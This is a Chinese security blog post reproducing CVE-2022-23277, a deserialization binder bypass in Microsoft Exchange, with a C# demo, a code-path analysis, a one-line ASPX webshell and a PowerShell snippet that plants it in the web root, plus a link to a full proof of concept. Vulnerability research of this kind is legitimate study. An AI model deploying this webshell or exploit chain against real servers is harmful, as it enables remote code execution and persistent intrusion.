DotNet安全-CVE-2022-23277漏洞复现

渗透技巧 2年前 (2022) admin
1,283 0 0

DotNet安全-CVE-2022-23277漏洞复现

引言

该漏洞主要是由于SerializationBinder的错误使用导致反序列化白名单的绕过,从而实现任意命令执行。触发漏洞的功能与CVE-2021-42321一致。

影响范围

  def cve_2022_23277_vuln_builds
    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
    [
      '15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU
      '15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU
      '15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU
      '15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU
      '15.2.922.19', # Exchange Server 2019 CU10 Nov21SU
      '15.2.922.20', # Exchange Server 2019 CU10 Jan22SU
      '15.2.986.14', # Exchange Server 2019 CU11 Nov21SU
      '15.2.986.15'  # Exchange Server 2019 CU11 Jan22SU
    ]
  end

大约为21年底到22年初的exchange2016及2019.

基础知识

正确使用SerializationBinder

2020年微软修改了对SerializationBinder描述:

DotNet安全-CVE-2022-23277漏洞复现

对《DotNet安全-CVE-2021-42321漏洞复现》中SerializationBinder稍加修改:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
 
 
namespace deserialDemo
{
    class Program
    {
        static void Main(string[] args)
        {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MemoryStream memoryStream = new MemoryStream();
            RCE calc = new RCE("calc");
            binaryFormatter.Serialize(memoryStream, calc);
 
            memoryStream.Position = 0;
            binaryFormatter.Binder = new MyBinder();
            object v = binaryFormatter.Deserialize(memoryStream);
            Console.WriteLine(v);
            Console.ReadKey();
 
        }
    }
    [Serializable]
    class RCE
    {
        public string cmd;
 
        public RCE(string cmd)
        {
            this.cmd = cmd;
        }
 
        public override string ToString()
        {
            return $"exec cmd:{cmd}";
        }
    }
    class MyBinder : SerializationBinder
    {
        public override Type BindToType(string assemblyName, string typeName)
        {
            Console.WriteLine($"assemblyName:{assemblyName},typeName:{typeName}.");
            Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));
 
            if (typeToDeserialize.Equals(typeof(RCE)))
            {
                return null;
                //throw new Exception("can't deseriliza rce class.");
            }
            return typeToDeserialize;
        }
    }
}

反序列化依旧被执行:

DotNet安全-CVE-2022-23277漏洞复现

SerializationBinder的正确用法是判断类型不符合就直接抛出异常。

从代码层面分析成因

BinaryFormatter实现SerializationBinder的功能会调用:System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.ObjectReader.Bind(string, string):

DotNet安全-CVE-2022-23277漏洞复现

如果定义的BindToType返回null,则进入FastBindToType逻辑:

DotNet安全-CVE-2022-23277漏洞复现

FormatterAssemblyStyle.Simple默认为真, 调用System.Runtime.Serialization.Formatters.Binary.ObjectReader.ResolveSimpleAssemblyName

DotNet安全-CVE-2022-23277漏洞复现

不管怎么样都会返回assem,之后进入ObjectReader.GetSimplyNamedTypeFromAssembly(Assembly, string, ref Type):

DotNet安全-CVE-2022-23277漏洞复现

最终会根据TypeName获取到程序集合。也就是说,不管BindToType的结果如何(只要不抛出异常),只要TypeName正常恶意类始终会被加载上。

SINK

Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.BindToType(string, string) :

DotNet安全-CVE-2022-23277漏洞复现

如果type获取失败即=null,不会进行ValidateTypeToDeserialize,反序列化的controllist会完全失效。跟到Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.LoadType(string, string):

DotNet安全-CVE-2022-23277漏洞复现

发现从多种方式获取Type,如果获取不到最终就会返回null。通过前面的内容我们知道返回null之后会调用FastBindToType函数,最终根据FullTypeName获取到Type。

SOURCE

与CVE-2021–42321一样,只不过要被反序列化的数据发生改变。这里使DataSet的gadgats,通过重写GetObjectData函数对类的AssemblyName属性进行修改:

DotNet安全-CVE-2022-23277漏洞复现

让AssemblyName是错误的,保证BindToType返回null。让FullTypeName为正常的,保证FastBindToType能正常加载。

如下图:

DotNet安全-CVE-2022-23277漏洞复现

FastBindToType最终返回了我们要的类型System.Data.DataSet:

DotNet安全-CVE-2022-23277漏洞复现

最终可以成功执行:

DotNet安全-CVE-2022-23277漏洞复现
DotNet安全-CVE-2022-23277漏洞复现

修改POC

DataSetTypeSpoofGenerator最终调用ObjectDataProviderGenerator.cs中的Generate方法执行命令,下图为通过ObjectDataProvider执行命令的代码:

DotNet安全-CVE-2022-23277漏洞复现

通过ObjectDataProvider我们可以轻松调用Process.start()启动新进程进而执行命令。尝试修改这部分代码为写入文件时出现问题:

c#中实现文件写入主要有两个办法:

方法1通过File.Write()等函数进行写入;方法二是通过StreamWriter.WriteLine()进行写入。

方法1的问题是File类为一个静态类,无法获取类的实例化对象,也不能通过反射获取到实例,所以ObjectInstance参数无法获取到。

方法2的问题是StreamWriter使用的时候通过一个方法无法完成字符串的写入,因为还要关闭流,如下:

using (StreamWriter sw = new StreamWriter (@"c:1.txt",true,Encoding.UTF8))
      {
        for (int i = 0; i < 100; i++)
        {
          sw.WriteLine(i);
        }
      }

这里采用using,类似于python的with open,实际需要关闭,如下:

public virtual void SaveData()
{
   string arqName = string.Format("Person{0}" + ".txt", Id);
   StreamWriter file = new StreamWriter(arqNome);
   file.WriteLine("ID: " + Id);
   file.WriteLine("DOB: " + dOB);
   file.WriteLine("Name: " + name);
   file.WriteLine("Age: " + age);
   file.Flush();
   file.Close();     
}

那么只好使用不那么好用的方式-通过执行命令写入。这里使用powershell排除执行命令特殊字符转义的问题,下图为写入webshell样本:

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

使用powershell进行编码:

$file=Get-Content -Path 1.txt
$MyScript = "Set-Content -Path 'C:inetpubwwwrootaspnet_client1.aspx' -Value '$file'"
$MyEncodedScript = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($MyScript))
$MyEncodedScript

在Burp增加认证:

DotNet安全-CVE-2022-23277漏洞复现

利用成功写入webshell:

DotNet安全-CVE-2022-23277漏洞复现

完整的POC及修改过的ysoerial.net

https://github.com/7BitsTeam/CVE-2022-23277

参考

https://packetstormsecurity.com/files/168131/Microsoft-Exchange-Server-ChainedSerializationBinder-Remote-Code-Execution.html

https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html

https://referencesource.microsoft.com/#mscorlib/system/runtime/serialization/formatters/binary/binaryformatter.cs


原文始发于微信公众号(7bits安全团队):DotNet安全-CVE-2022-23277漏洞复现

版权声明:admin 发表于 2022年10月25日 上午9:11。
转载请注明:DotNet安全-CVE-2022-23277漏洞复现 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...